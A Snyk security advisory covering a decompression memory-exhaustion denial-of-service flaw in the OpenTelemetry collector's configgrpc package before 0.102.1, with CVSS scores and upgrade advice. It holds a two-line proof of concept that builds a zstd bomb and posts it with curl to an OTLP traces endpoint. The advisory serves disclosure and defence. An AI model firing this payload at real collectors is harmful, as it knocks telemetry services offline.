Improper Restriction of Operations within the Bounds of a Memory Buffer Affecting go.opentelemetry.io/collector/config/configgrpc package, versions <0.102.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.06% (28th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GOOPENTELEMETRYIOCOLLECTORCONFIGCONFIGGRPC-7216107
  • published 6 Jun 2024
  • disclosed 5 Jun 2024
  • credit Miroslav Stampar

How to fix?

Upgrade go.opentelemetry.io/collector/config/configgrpc to version 0.102.1 or higher.

Overview

Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer via the decompression process. An attacker can crash the system by sending specially crafted payloads that exploit the decompression logic to consume excessive memory resources.

PoC

dd if=/dev/zero bs=1G count=10 | zstd > poc.zst
curl -vv "http://192.168.0.107:4318/v1/traces" -H "Content-Type: application/x-protobuf" -H "Content-Encoding: zstd" --data-binary @poc.zst

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high